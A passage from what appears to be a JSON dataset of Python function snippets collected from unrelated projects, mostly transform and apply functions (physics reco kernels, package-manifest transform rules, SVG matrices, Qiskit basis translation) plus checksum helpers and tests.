cz_kern_cdf)\\n\\n # Sanity check of reco kernels - intolerable negative values?\\n logging.trace(\\\" Ensuring reco kernel sanity...\\\")\\n kern_neg_invalid = reco_kernel < -EQUALITY_PREC\\n if np.any(kern_neg_invalid):\\n raise ValueError(\\\"Detected intolerable negative entries in\\\"\\n \\\" reco kernel! Min.: %.15e\\\"\\n % np.min(reco_kernel))\\n\\n # Set values numerically compatible with zero to zero\\n np.where(\\n (np.abs(reco_kernel) < EQUALITY_PREC), reco_kernel, 0\\n )\\n sum_over_axes = tuple(range(-len(self.output_binning), 0))\\n totals = np.sum(reco_kernel, axis=sum_over_axes)\\n totals_large = totals > (1 + EQUALITY_PREC)\\n if np.any(totals_large):\\n raise ValueError(\\\"Detected overflow in reco kernel! Max.:\\\"\\n \\\" %0.15e\\\" % (np.max(totals)))\\n\\n if self.input_binning.basenames[0] == \\\"coszen\\\":\\n # The reconstruction kernel has been set up with energy as its\\n # first dimension, so swap axes if it is applied to an input\\n # binning where 'coszen' is the first\\n logging.trace(\\\" Swapping kernel dimensions since 'coszen' has\\\"\\n \\\" been requested as the first.\\\")\\n reco_kernel = np.swapaxes(reco_kernel, 0, 1)\\n reco_kernel = np.swapaxes(reco_kernel, 2, 3)\\n\\n\\n if self.sum_grouped_flavints:\\n xform_input_names = []\\n for input_name in self.input_names:\\n if set(NuFlavIntGroup(input_name)).isdisjoint(xform_flavints):\\n continue\\n xform_input_names.append(input_name)\\n\\n for output_name in self.output_names:\\n if output_name not in xform_flavints:\\n continue\\n xform = BinnedTensorTransform(\\n input_names=xform_input_names,\\n output_name=output_name,\\n input_binning=self.input_binning,\\n output_binning=self.output_binning,\\n xform_array=reco_kernel,\\n sum_inputs=self.sum_grouped_flavints\\n )\\n xforms.append(xform)\\n # If *not* combining grouped flavints:\\n # Copy the transform for each input flavor, regardless if the\\n # transform is computed from a combination of flavors.\\n else:\\n for input_name in self.input_names:\\n if set(NuFlavIntGroup(input_name)).isdisjoint(xform_flavints):\\n continue\\n for output_name in self.output_names:\\n if (output_name not in NuFlavIntGroup(input_name)\\n or output_name not in xform_flavints):\\n continue\\n logging.trace(' input: %s, output: %s, xform: %s',\\n input_name, output_name, xform_flavints)\\n\\n xform = BinnedTensorTransform(\\n input_names=input_name,\\n output_name=output_name,\\n input_binning=self.input_binning,\\n output_binning=self.output_binning,\\n xform_array=reco_kernel,\\n sum_inputs=self.sum_grouped_flavints\\n )\\n xforms.append(xform)\\n\\n return TransformSet(transforms=xforms)\",\n \"def transform(self, data, input_content_type, output_content_type):\\n return self.transform_fn(data, input_content_type, output_content_type)\",\n \"def generate_transforms_data(image1_data, image2_data):\\n\\n transformations = dict(\\n unchanged=Transform('unchanged', image1_data, image2_data),\\n reflected_vert=Transform(\\n 'reflected_vert', image1_data, image2_data),\\n reflected_horiz=Transform(\\n 'reflected_horiz', image1_data, image2_data),\\n rotated_90=Transform('rotated_90', image1_data, image2_data),\\n rotated_180=Transform('rotated_180', image1_data, image2_data),\\n rotated_270=Transform('rotated_270', image1_data, image2_data)\\n )\\n\\n transformations_names = [\\n 'unchanged',\\n 'reflected_vert',\\n 'reflected_horiz',\\n 'rotated_90',\\n 'rotated_180',\\n 'rotated_270'\\n ]\\n\\n best_match = transformations['unchanged']\\n for transformation in transformations_names:\\n if transformations[transformation].match > best_match.match:\\n best_match = transformations[transformation]\\n if best_match.match > .98:\\n break\\n return {best_match.name: best_match}\",\n \"def apply(\\n self,\\n input_dict: typing_utils.ArtifactMultiMap,\\n ) -> typing_utils.ArtifactMultiMap:\",\n \"def simulator_transform(input_dict, operation):\\n # set the random state\\n random_state = np.random.RandomState(0)\\n random_state.set_state(input_dict[\\\"random_state\\\"])\\n batch_size = input_dict[\\\"n\\\"]\\n data = operation(*input_dict[\\\"data\\\"], batch_size=batch_size, random_state=random_state)\\n if not isinstance(data, np.ndarray):\\n raise ValueError(\\\"Simulation operation output type incorrect.\\\" +\\n \\\"Expected type np.ndarray, received type {}\\\".format(type(data)))\\n if data.shape[0] != batch_size or len(data.shape) < 2:\\n raise ValueError(\\\"Simulation operation output format incorrect.\\\" +\\n \\\" Expected shape == ({}, ...).\\\".format(batch_size) +\\n \\\" Received shape == {}.\\\".format(data.shape))\\n return to_output_dict(input_dict, data=data, random_state=random_state.get_state())\",\n \"def transform(self, dataset, params=None):\\n if params is None:\\n params = dict()\\n if isinstance(params, dict):\\n if params:\\n return self.copy(params)._transform(dataset)\\n else:\\n return self._transform(dataset)\\n else:\\n raise ValueError(\\\"Params must be a param map but got %s.\\\" % type(params))\",\n \"def add_transform(transform, filename, lineno):\\n\\n # strip off transform\\n s = transform[10:]\\n # make error messages familiar\\n transform = \\\"<\\\" + transform + \\\">\\\"\\n\\n try:\\n index = s.index(\\\"->\\\")\\n except ValueError:\\n raise RuntimeError(_(\\\"Missing -> in transform\\\"))\\n matching = s[0:index].strip().split()\\n types = [a for a in matching if \\\"=\\\" not in a]\\n attrdict = pkg.actions.attrsfromstr(\\\" \\\".join([a for a in matching if \\\"=\\\" in a]))\\n\\n for a in attrdict:\\n try:\\n attrdict[a] = re.compile(attrdict[a])\\n except re.error as e:\\n raise RuntimeError(\\n _(\\\"transform ({transform}) has regexp error \\\"\\n \\\"({err}) in matching clause\\\"\\n ).format(transform=transform, err=e))\\n\\n op = s[index+2:].strip().split(None, 1)\\n\\n # use closures to encapsulate desired operation\\n\\n if op[0] == \\\"drop\\\":\\n if len(op) > 1:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'drop' operation syntax error\\\"\\n ).format(transform))\\n operation = lambda a, m, p, f, l: None\\n\\n elif op[0] == \\\"set\\\":\\n try:\\n attr, value = shlex.split(op[1])\\n except ValueError:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'set' operation syntax error\\\"\\n ).format(transform))\\n def set_func(action, matches, pkg_attrs, filename, lineno):\\n newattr = substitute_values(attr, action, matches,\\n pkg_attrs, filename, lineno)\\n newval = substitute_values(value, action, matches,\\n pkg_attrs, filename, lineno)\\n if newattr == \\\"action.hash\\\":\\n if hasattr(action, \\\"hash\\\"):\\n action.hash = newval\\n else:\\n action.attrs[newattr] = newval\\n return action\\n operation = set_func\\n\\n elif op[0] == \\\"default\\\":\\n try:\\n attr, value = shlex.split(op[1])\\n except ValueError:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'default' operation syntax error\\\"\\n ).format(transform))\\n\\n def default_func(action, matches, pkg_attrs, filename, lineno):\\n newattr = substitute_values(attr, action, matches,\\n pkg_attrs, filename, lineno)\\n if newattr not in action.attrs:\\n newval = substitute_values(value, action,\\n matches, pkg_attrs, filename, lineno)\\n action.attrs[newattr] = newval\\n return action\\n operation = default_func\\n\\n elif op[0] == \\\"abort\\\":\\n if len(op) > 1:\\n raise RuntimeError(_(\\\"transform ({0}) has 'abort' \\\"\\n \\\"operation syntax error\\\").format(transform))\\n\\n def abort_func(action, matches, pkg_attrs, filename, lineno):\\n sys.exit(0)\\n\\n operation = abort_func\\n\\n elif op[0] == \\\"exit\\\":\\n exitval = 0\\n msg = None\\n\\n if len(op) == 2:\\n args = op[1].split(None, 1)\\n try:\\n exitval = int(args[0])\\n except ValueError:\\n raise RuntimeError(_(\\\"transform ({0}) has 'exit' \\\"\\n \\\"operation syntax error: illegal exit value\\\").format(\\n transform))\\n if len(args) == 2:\\n msg = args[1]\\n\\n def exit_func(action, matches, pkg_attrs, filename, lineno):\\n if msg:\\n newmsg = substitute_values(msg, action,\\n matches, pkg_attrs, filename, lineno,\\n quote=True)\\n print(newmsg, file=sys.stderr)\\n sys.exit(exitval)\\n\\n operation = exit_func\\n\\n elif op[0] == \\\"add\\\":\\n try:\\n attr, value = shlex.split(op[1])\\n except ValueError:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'add' operation syntax error\\\"\\n ).format(transform))\\n\\n def add_func(action, matches, pkg_attrs, filename, lineno):\\n newattr = substitute_values(attr, action, matches,\\n pkg_attrs, filename, lineno)\\n newval = substitute_values(value, action, matches,\\n pkg_attrs, filename, lineno)\\n if newattr in action.attrs:\\n av = action.attrs[newattr]\\n if isinstance(av, list):\\n action.attrs[newattr].append(newval)\\n else:\\n action.attrs[newattr] = [ av, newval ]\\n else:\\n action.attrs[newattr] = newval\\n return action\\n operation = add_func\\n\\n elif op[0] == \\\"edit\\\":\\n if len(op) < 2:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'edit' operation syntax error\\\"\\n ).format(transform))\\n\\n args = shlex.split(op[1])\\n if len(args) not in [2, 3]:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'edit' operation syntax error\\\"\\n ).format(transform))\\n attr = args[0]\\n\\n # Run args[1] (the regexp) through substitute_values() with a\\n # bunch of bogus values to see whether it triggers certain\\n # exceptions. If it does, then substitution would have\\n # occurred, and we can't compile the regex now, but wait until\\n # we can correctly run substitute_values().\\n try:\\n substitute_values(args[1], None, [], None, None, None)\\n regexp = re.compile(args[1])\\n except (AttributeError, RuntimeError):\\n regexp = args[1]\\n except re.error as e:\\n raise RuntimeError(\\n _(\\\"transform ({transform}) has 'edit' operation \\\"\\n \\\"with malformed regexp ({err})\\\").format(\\n transform=transform, err=e))\\n\\n if len(args) == 3:\\n replace = args[2]\\n else:\\n replace = \\\"\\\"\\n\\n def replace_func(action, matches, pkg_attrs, filename, lineno):\\n newattr = substitute_values(attr, action, matches,\\n pkg_attrs, filename, lineno)\\n newrep = substitute_values(replace, action, matches,\\n pkg_attrs, filename, lineno)\\n val = attrval_as_list(action.attrs, newattr)\\n\\n if not val:\\n return action\\n\\n # It's now appropriate to compile the regexp, if there\\n # are substitutions to be made. So do the substitution\\n # and compile the result.\\n if isinstance(regexp, basestring):\\n rx = re.compile(substitute_values(regexp,\\n action, matches, pkg_attrs, filename, lineno))\\n else:\\n rx = regexp\\n\\n try:\\n action.attrs[newattr] = [\\n rx.sub(newrep, v)\\n for v in val\\n ]\\n except re.error as e:\\n raise RuntimeError(\\n _(\\\"transform ({transform}) has edit \\\"\\n \\\"operation with replacement string regexp \\\"\\n \\\"error {err}\\\").format(\\n transform=transform, err=e))\\n return action\\n\\n operation = replace_func\\n\\n elif op[0] == \\\"delete\\\":\\n if len(op) < 2:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'delete' operation syntax error\\\"\\n ).format(transform))\\n\\n args = shlex.split(op[1])\\n if len(args) != 2:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'delete' operation syntax error\\\"\\n ).format(transform))\\n attr = args[0]\\n\\n try:\\n regexp = re.compile(args[1])\\n except re.error as e:\\n raise RuntimeError(\\n _(\\\"transform ({transform}) has 'delete' operation\\\"\\n \\\"with malformed regexp ({err})\\\").format(\\n transform=transform, err=e))\\n\\n def delete_func(action, matches, pkg_attrs, filename, lineno):\\n val = attrval_as_list(action.attrs, attr)\\n if not val:\\n return action\\n try:\\n new_val = [\\n v\\n for v in val\\n if not regexp.search(v)\\n ]\\n\\n if new_val:\\n action.attrs[attr] = new_val\\n else:\\n del action.attrs[attr]\\n except re.error as e:\\n raise RuntimeError(\\n _(\\\"transform ({transform}) has delete \\\"\\n \\\"operation with replacement string regexp \\\"\\n \\\"error {err}\\\").format(\\n transform=transform, err=e))\\n return action\\n\\n operation = delete_func\\n\\n elif op[0] == \\\"print\\\":\\n if len(op) > 2:\\n raise RuntimeError(_(\\\"transform ({0}) has 'print' \\\"\\n \\\"operation syntax error\\\").format(transform))\\n\\n if len(op) == 1:\\n msg = \\\"\\\"\\n else:\\n msg = op[1]\\n\\n def print_func(action, matches, pkg_attrs, filename, lineno):\\n newmsg = substitute_values(msg, action, matches,\\n pkg_attrs, filename, lineno, quote=True)\\n\\n printinfo.append(\\\"{0}\\\".format(newmsg))\\n return action\\n\\n operation = print_func\\n\\n elif op[0] == \\\"emit\\\":\\n if len(op) > 2:\\n raise RuntimeError(_(\\\"transform ({0}) has 'emit' \\\"\\n \\\"operation syntax error\\\").format(transform))\\n\\n if len(op) == 1:\\n msg = \\\"\\\"\\n else:\\n msg = op[1]\\n\\n def emit_func(action, matches, pkg_attrs, filename, lineno):\\n newmsg = substitute_values(msg, action, matches,\\n pkg_attrs, filename, lineno, quote=True)\\n\\n if not newmsg.strip() or newmsg.strip()[0] == \\\"#\\\":\\n return (newmsg, action)\\n try:\\n return (pkg.actions.fromstr(newmsg), action)\\n except (pkg.actions.MalformedActionError,\\n pkg.actions.UnknownActionError,\\n pkg.actions.InvalidActionError) as e:\\n raise RuntimeError(e)\\n\\n operation = emit_func\\n\\n else:\\n raise RuntimeError(_(\\\"unknown transform operation '{0}'\\\").format(op[0]))\\n\\n transforms.append((types, attrdict, operation, filename, lineno, transform))\",\n \"def transform(self, *fs):\\n return transform(self, *fs)\",\n \"def _calculate_transforms(self):\\n\\n self._logger.info(\\\"Generating transformations.\\\")\\n\\n # Calculate partial transforms - get partial transformation chain;\\n partial_transformation_pairs = \\\\\\n map(lambda idx: self._get_slice_pair(idx),\\n self.options.slice_range)\\n\\n # Flatten the slices pairs\\n partial_transformation_pairs =\\\\\\n list(flatten(partial_transformation_pairs))\\n\\n # If user decided to prealign the images by their centre of gravity\\n # an additional series of transformations has to be carried out.\\n if self.options.enableMomentsAlignment:\\n commands = map(lambda x: self._get_cog_alignment(*x),\\n partial_transformation_pairs)\\n commands = filter(None, commands)\\n\\n self._logger.info(\\\"Executing the centre of gravity transforms.\\\")\\n self.execute(commands)\\n\\n # Calculate affine transformation for each slices pair\\n commands = map(lambda x: self._get_partial_transform(*x),\\n partial_transformation_pairs)\\n commands = filter(None, commands)\\n self._logger.info(\\\"Executing the transformation commands.\\\")\\n self.execute(commands)\",\n \"def transform_fn(transforms, params, invert=False):\\n if invert:\\n transforms = {k: v.inv for k, v in transforms.items()}\\n return {k: transforms[k](v) if k in transforms else v\\n for k, v in params.items()}\",\n \"def transform(self, data):\",\n \"def apply(self, transform_func):\\n #input_shapes = transform_func.input_shapes\\n #input_types = transform_func.input_types\\n #data_shapes = transform_func.data_shapes\\n #data_types = transform_func.data_types\\n #assert input_shapes == self._data_shapes\\n #assert input_types = self._data_types\\n ret_gen = transform_func(self.generator)\\n ret = type(self).from_generator_func(ret_gen)\\n if self.name is not None:\\n ret.name = self.name\\n #ret.data_shapes = data_shapes\\n #ret.data_types = data_types\\n return ret\",\n \"def apply_param_transformations(self,params_edict,**kwargs):\\n if self.params_transforms == None:\\n return params_edict\\n for key,transform_function in self.params_transforms.items():\\n params_edict[key] = transform_function(params_edict,**kwargs)\\n return params_edict\",\n \"def apply(args):\\n html_doc = document.Document(get_code(args.file))\\n with open(args.transform_file, 'r', encoding='UTF-8') as tfr_file:\\n tfr_json = yaml.load(tfr_file)\\n not_applied = html_doc.apply(tfr_json)\\n\\n if len(not_applied) == 0:\\n print('All transforms applied.')\\n else:\\n print('The following transforms could not be applied:')\\n print(yaml.dump(not_applied))\\n set_code(args.file, html_doc)\",\n \"def transform(self, results: Dict) -> Optional[Dict]:\\n for t in self.transforms:\\n results = t(results) # type: ignore\\n if results is None:\\n return None\\n return results\",\n \"def _get_checksum(self, arg):\",\n \"def tarsum(input_file, hash, output_file):\\n tar = tarfile.open(mode=\\\"r:*\\\", fileobj=input_file)\\n\\n chunk_size = 100*1024\\n store_digests = {}\\n\\n for member in tar:\\n if not member.isfile():\\n continue\\n f = tar.extractfile(member)\\n h = hashlib.new(hash)\\n data = f.read(chunk_size)\\n while data:\\n h.update(data)\\n data = f.read(chunk_size)\\n output_file.write(\\\"%s %s\\\\n\\\" % (h.hexdigest(), member.name))\",\n \"def get_all_transforms(self) -> Dict[str, Callable]:\\n # Convert magnitude to argument for each transform\\n level = self.magnitude / self._max_magnitude\\n angle = self.randomly_negate_level(level) * self._max_angle\\n x_shift = self.randomly_negate_level(level) * self._max_x_shift\\n y_shift = self.randomly_negate_level(level) * self._max_y_shift\\n # Contrast / brightness factor of 1 means no change. 0 means black, 2 means times 2.\\n contrast = self.randomly_negate_level(level) * self._max_contrast + 1\\n brightness = self.randomly_negate_level(level) * self._max_brightness + 1\\n transforms_dict = {\\n \\\"identity\\\": self.identity(),\\n \\\"rotate\\\": self.rotate(angle),\\n \\\"translateX\\\": self.translateX(x_shift),\\n \\\"translateY\\\": self.translateY(y_shift),\\n \\\"hFlip\\\": self.horizontal_flip()\\n }\\n if self.for_segmentation_input_maps:\\n return transforms_dict\\n\\n transforms_dict.update(\\n {\\\"constrast\\\": self.adjust_contrast(contrast),\\n \\\"brightness\\\": self.adjust_brightness(brightness),\\n })\\n\\n return transforms_dict\",\n \"def map_dict(dictionary, transform):\\n return dict(transform(k, v) for k, v in dictionary.items())\",\n \"def _apply_transformations(structure, rotations, translations):\\n # Additional first dimension for 'structure.repeat()'\\n assembly_coord = np.zeros((len(rotations),) + structure.coord.shape)\\n\\n # Apply corresponding transformation for each copy in the assembly\\n for i, (rotation, translation) in enumerate(zip(rotations, translations)):\\n coord = structure.coord\\n # Rotate\\n coord = matrix_rotate(coord, rotation)\\n # Translate\\n coord += translation\\n assembly_coord[i] = coord\\n\\n return repeat(structure, assembly_coord)\",\n \"def apply(hash_value: str, dir_path: str, file_path: str) -> None:\\n core.apply(hash_value, dir_path, file_path)\",\n \"def attrTransform(self, matrix, transform):\\n for ttype, targs in self.reTransformFind.findall(transform):\\n targs = list(map(lambda x: float(x), self.reNumberFind.findall(targs)))\\n if ttype == 'matrix':\\n newmatrix = [ targs[0], targs[1],\\n targs[2], targs[3],\\n targs[4], targs[5] ]\\n self.matrixMul(matrix, newmatrix)\\n elif ttype == 'translate':\\n tx = targs[0]\\n ty = targs[1] if len(targs) > 1 else 0\\n newmatrix = [ 1, 0, 0, 1, tx, ty ]\\n self.matrixMul(matrix, newmatrix)\\n elif ttype == 'scale':\\n sx = targs[0]\\n sy = targs[1] if len(targs) > 1 else sx\\n newmatrix = [ sx, 0, 0, sy, 0, 0 ]\\n self.matrixMul(matrix, newmatrix)\\n elif ttype == 'rotate':\\n if len(targs) == 1:\\n alpha = targs[0]\\n newmatrix = [ math.cos(alpha), math.sin(alpha),\\n -math.sin(alpha), math.cos(alpha),\\n 0, 0]\\n self.matrixMul(matrix, newmatrix)\\n else:\\n alpha = targs[0]\\n newmatrix = [ 1, 0, 0, 1, targs[1], targs[2] ]\\n self.matrixMul(matrix, newmatrix)\\n newmatrix = [ math.cos(alpha), math.sin(alpha),\\n -math.sin(alpha), math.cos(alpha),\\n 0, 0]\\n self.matrixMul(matrix, newmatrix)\\n newmatrix = [ 1, 0, 0, 1, -targs[1], -targs[2] ]\\n self.matrixMul(matrix, newmatrix)\\n elif ttype == 'skewX' or ttype == 'skewY':\\n self.alert(\\\"skewX and skewY transformations are not supported\\\", elem)\\n else:\\n print('unknown transform type: ', ttype)\\n return matrix\",\n \"def evolve(transformations, object):\\n o = clone(object)\\n for k, v in transformations.items():\\n try:\\n if isinstance(v, dict):\\n o[k] = evolve(v, o[k])\\n else:\\n o[k] = v(o[k])\\n except KeyError:\\n continue\\n\\n return o\",\n \"def run_suite():\\n print(\\\"*Input*\\\")\\n input_str = get_input()\\n stripped = strip(input_str)\\n\\n print(\\\"*Transform*\\\")\\n operation, transformed = transform(stripped)\\n\\n print(\\\"*Output*\\\")\\n output(operation, transformed)\",\n \"def _add_checksum(self, dct):\\n md5_cksum = None\",\n \"def append_transformations(self, parameter_dict):\\n parameter_dicts_from_transformations = [\\n x.transform(self.data_dict, parameter_dict) for x in self.transformations\\n ]\\n for parameter_dict_from_transformations in parameter_dicts_from_transformations:\\n parameter_dict.update(parameter_dict_from_transformations)\\n\\n return parameter_dict\",\n \"def transform(self, results: Dict) -> Optional[Dict]:\\n idx = self.random_pipeline_index()\\n return self.transforms[idx](results)\",\n \"def transform_(self, input, format, signature=None):\\n\\n if self.cache:\\n if signature is None:\\n use_signature = self.update_signature(\\n input, format).hexdigest()\\n else:\\n use_signature = signature\\n\\n cache_file = os.path.join(self.cache_dir, use_signature)\\n if self.cache == 2 and os.path.exists(cache_file):\\n # User wants to clobber cache\\n os.remove(cache_file)\\n\\n try:\\n result = self.load(use_signature)\\n if self._verbose:\\n self._print(\\\"Loaded results from cache file {} using signature: {}\\\".format(\\n cache_file, use_signature))\\n except Exception:\\n if signature is None:\\n signature = self.update_signature(\\n input, format).hexdigest()\\n result = self.transform(input, format)\\n if self.cache > 0: # Ok user wants to cache results\\n if not os.path.exists(self.cache_dir):\\n os.makedirs(self.cache_dir)\\n self.save(signature, result)\\n else:\\n result = self.transform(input, format)\\n return result\",\n \"def step_impl(context, objects_type):\\n log.info(\\\"=====> Ensure that the md5sum of the objects retrieved from the Cache matches the md5sum of the original object\\\")\\n\\n if objects_type == \\\"ObjectsTest1\\\":\\n object_list = resourceset_parameters.ObjectsTest1\\n elif objects_type == \\\"ObjectsTest2\\\":\\n object_list = resourceset_parameters.ObjectsTest2\\n elif objects_type == \\\"ObjectsTest4\\\":\\n object_list = resourceset_parameters.ObjectsTest4\\n else:\\n assert False, \\\" ****> Failed: No objects_type parameter while posting. Got: {objects_type}\\\".format(objects_type=objects_type)\\n\\n for i in object_list:\\n command = \\\"md5sum /tmp/\\\" + resourceset_parameters.Object_names[i] + \\\" | awk '{print $1}'\\\"\\n result = send_telnet_command(command)\\n if md5_of_files[i] in result:\\n log.info(\\\" *****> Passed: The md5sum of the {object_names} matches the value previously obtained\\\".format(object_names=resourceset_parameters.Object_names[i]))\\n else:\\n assert False, \\\" *****> Failed: The md5sum of the {object_names} does not match the value previously obtained\\\".format(object_names=resourceset_parameters.Object_names[i])\",\n \"def process_input(input_dict, UUID=None, build=True):\\n # Set script's name\\n input_dict['script'] = script\\n \\n # Set calculation UUID\\n if UUID is not None:\\n input_dict['calc_key'] = UUID\\n else:\\n input_dict['calc_key'] = input_dict.get('calc_key', str(uuid.uuid4()))\\n \\n # Set default input/output units\\n iprPy.input.subset('units').interpret(input_dict)\\n \\n # These are calculation-specific default strings\\n input_dict['symbols'] = input_dict['symbols'].split()\\n \\n # These are calculation-specific default booleans\\n # None for this calculation\\n \\n # These are calculation-specific default integers\\n input_dict['number_of_steps_r'] = int(input_dict.get('number_of_steps_r', 100))\\n input_dict['number_of_steps_theta'] = int(input_dict.get('number_of_steps_theta', 100))\\n \\n # These are calculation-specific default unitless floats\\n input_dict['minimum_theta'] = float(input_dict.get('minimum_theta', 1.0))\\n input_dict['maximum_theta'] = float(input_dict.get('maximum_theta', 180.0))\\n \\n # These are calculation-specific default floats with units\\n input_dict['minimum_r'] = iprPy.input.value(input_dict, 'minimum_r',\\n default_unit=input_dict['length_unit'],\\n default_term='0.5 angstrom')\\n input_dict['maximum_r'] = iprPy.input.value(input_dict, 'maximum_r',\\n default_unit=input_dict['length_unit'],\\n default_term='5.5 angstrom')\\n \\n # Check lammps_command and mpi_command\\n iprPy.input.subset('lammps_commands').interpret(input_dict)\\n \\n # Load potential\\n iprPy.input.subset('lammps_potential').interpret(input_dict)\",\n \"def Do(self, input_dict: Dict[str, List[types.Artifact]],\\n output_dict: Dict[str, List[types.Artifact]],\\n exec_properties: Dict[str, Any]) -> None:\\n for output_key, artifact_list in output_dict.items():\\n for idx, artifact in enumerate(artifact_list):\\n dest = artifact.uri\\n src = os.path.join(self._test_data_dir, self._component_id, output_key,\\n str(idx))\\n if not fileio.exists(src):\\n raise FileNotFoundError(\\\"{} does not exist\\\".format(src))\\n io_utils.copy_dir(src, dest)\\n logging.info(\\\"Finished copying from %s to %s\\\", src, dest)\",\n \"def transform(self, results: Dict) -> Optional[Dict]:\\n if self.random_apply():\\n return self.transforms(results) # type: ignore\\n else:\\n return results\",\n \"def transform(self, inputs: list, stage: str) -> datapack.DataPack:\",\n \"def process(self):\\n self.extract()\\n self.transform()\\n self.load()\",\n \"def main():\\n\\n ruleset, meta = parse_input(get_input())\\n start, steps = meta\\n x = run(ruleset, start, steps)\\n print(\\\"Checksum is {}.\\\".format(x))\\n\\n return\",\n \"def _init_transform(self, operation, **kwargs):\\n self._operation = operation\\n transform = partial(self.__class__.operation_transform, operation=operation)\\n return transform, kwargs\",\n \"def _compose_transforms(basis_transforms, source_basis, source_dag):\\n example_gates = _get_example_gates(source_dag)\\n mapped_instrs = {}\\n\\n for gate_name, gate_num_qubits in source_basis:\\n # Need to grab a gate instance to find num_qubits and num_params.\\n # Can be removed following https://github.com/Qiskit/qiskit-terra/pull/3947 .\\n example_gate = example_gates[gate_name, gate_num_qubits]\\n num_params = len(example_gate.params)\\n\\n placeholder_params = ParameterVector(gate_name, num_params)\\n placeholder_gate = Gate(gate_name, gate_num_qubits, list(placeholder_params))\\n placeholder_gate.params = list(placeholder_params)\\n\\n dag = DAGCircuit()\\n qr = QuantumRegister(gate_num_qubits)\\n dag.add_qreg(qr)\\n dag.apply_operation_back(placeholder_gate, qr[:], [])\\n mapped_instrs[gate_name, gate_num_qubits] = placeholder_params, dag\\n\\n for gate_name, gate_num_qubits, equiv_params, equiv in basis_transforms:\\n logger.debug(\\n \\\"Composing transform step: %s/%s %s =>\\\\n%s\\\",\\n gate_name,\\n gate_num_qubits,\\n equiv_params,\\n equiv,\\n )\\n\\n for mapped_instr_name, (dag_params, dag) in mapped_instrs.items():\\n doomed_nodes = [\\n node\\n for node in dag.op_nodes()\\n if (node.op.name, node.op.num_qubits) == (gate_name, gate_num_qubits)\\n ]\\n\\n if doomed_nodes and logger.isEnabledFor(logging.DEBUG):\\n\\n logger.debug(\\n \\\"Updating transform for mapped instr %s %s from \\\\n%s\\\",\\n mapped_instr_name,\\n dag_params,\\n dag_to_circuit(dag, copy_operations=False),\\n )\\n\\n for node in doomed_nodes:\\n\\n replacement = equiv.assign_parameters(\\n dict(zip_longest(equiv_params, node.op.params))\\n )\\n\\n replacement_dag = circuit_to_dag(replacement)\\n\\n dag.substitute_node_with_dag(node, replacement_dag)\\n\\n if doomed_nodes and logger.isEnabledFor(logging.DEBUG):\\n\\n logger.debug(\\n \\\"Updated transform for mapped instr %s %s to\\\\n%s\\\",\\n mapped_instr_name,\\n dag_params,\\n dag_to_circuit(dag, copy_operations=False),\\n )\\n\\n return mapped_instrs\",\n \"def run(self, filekey, blobkey):\\n output = yield mapreduce_pipeline.MapreducePipeline(\\n \\\"daily_speed_sum\\\",\\n \\\"map_reduce.daily_speed_sum_map\\\",\\n \\\"map_reduce.daily_speed_sum_reduce\\\",\\n \\\"mapreduce.input_readers.BlobstoreZipLineInputReader\\\",\\n \\\"mapreduce.output_writers.BlobstoreOutputWriter\\\",\\n\\t\\tmapper_params={\\n\\t\\t\\t\\\"blob_keys\\\": blobkey,\\n },\\n reducer_params={\\n \\\"mime_type\\\": \\\"text/plain\\\",\\n },\\n shards=16)\\n yield StoreOutput(\\\"DailySpeedSum\\\", filekey, output)\",\n \"def _default_transform_fn(self, model, input_data, content_type, accept, context=None):\\n # pylint: disable=unused-argument\\n data = self._run_handler_function(self._input_fn, *(input_data, content_type))\\n prediction = self._run_handler_function(self._predict_fn, *(data, model))\\n result = self._run_handler_function(self._output_fn, *(prediction, accept))\\n return result\",\n \"def retransformation(decompressed_sequence:str, binary_dict:dict, calcul_byte:int):\\r\\n if calcul_byte != 0:\\r\\n calcul_byte = (8-calcul_byte)\\r\\n decompressed_sequence = decompressed_sequence[calcul_byte:]\\r\\n \\\"\\\"\\\"\\r\\n Allows you to remove the zeros added at the beginning of a binary \\r\\n string to make a multiple of 8\\r\\n \\\"\\\"\\\"\\r\\n decompress_sequence = \\\"\\\"\\r\\n counter = 0\\r\\n for position in range(0, len(decompressed_sequence)+1, 1):\\r\\n if decompressed_sequence[counter:position] in binary_dict.keys():\\r\\n decompress_sequence += binary_dict[decompressed_sequence[counter:position]]\\r\\n counter = position\\r\\n return decompressed_sequence, decompress_sequence\",\n \"def test_transform_file(self, mock_transform_object):\\n mock_transform_object.return_value = {}\\n with CliRunner().isolated_filesystem() as t:\\n transform_path = \\\"transform/out.jsonl.gz\\\"\\n\\n # Create works entity file\\n works = {\\\"works\\\": \\\"content\\\"}\\n works_download_path = \\\"works.jsonl.gz\\\"\\n with gzip.open(works_download_path, \\\"wt\\\", encoding=\\\"ascii\\\") as f_out:\\n json.dump(works, f_out)\\n\\n # Create other entity file (concepts or institution)\\n concepts = {\\\"concepts\\\": \\\"content\\\"}\\n concepts_download_path = \\\"concepts.jsonl.gz\\\"\\n with gzip.open(concepts_download_path, \\\"wt\\\", encoding=\\\"ascii\\\") as f_out:\\n json.dump(concepts, f_out)\\n\\n # Test when dir of transform path does not exist yet, using 'works' entity'\\n self.assertFalse(os.path.isdir(os.path.dirname(transform_path)))\\n\\n transform_file(works_download_path, transform_path)\\n mock_transform_object.assert_called_once_with(works, \\\"abstract_inverted_index\\\")\\n mock_transform_object.reset_mock()\\n os.remove(transform_path)\\n\\n # Test when dir of transform path does exist, using 'works' entity\\n self.assertTrue(os.path.isdir(os.path.dirname(transform_path)))\\n\\n transform_file(works_download_path, transform_path)\\n self.assert_file_integrity(transform_path, \\\"682a6d42\\\", \\\"gzip_crc\\\")\\n mock_transform_object.assert_called_once_with(works, \\\"abstract_inverted_index\\\")\\n mock_transform_object.reset_mock()\\n os.remove(transform_path)\\n\\n # Test for \\\"concepts\\\" and \\\"institution\\\" entities\\n transform_file(concepts_download_path, transform_path)\\n self.assert_file_integrity(transform_path, \\\"d8cafe16\\\", \\\"gzip_crc\\\")\\n mock_transform_object.assert_called_once_with(concepts, \\\"international\\\")\",\n \"def _set_transforms(self, transform: Dict[str, Union[Field, Dict]]) -> None:\\n columns: Union[int, List[int]]\\n\\n for k, t in enumerate(transform.items()):\\n name, value = t\\n if isinstance(value, Field):\\n field = value\\n columns = k\\n else:\\n try:\\n field, tmp_cols = value['field'], value.get('columns', k)\\n\\n # Process as 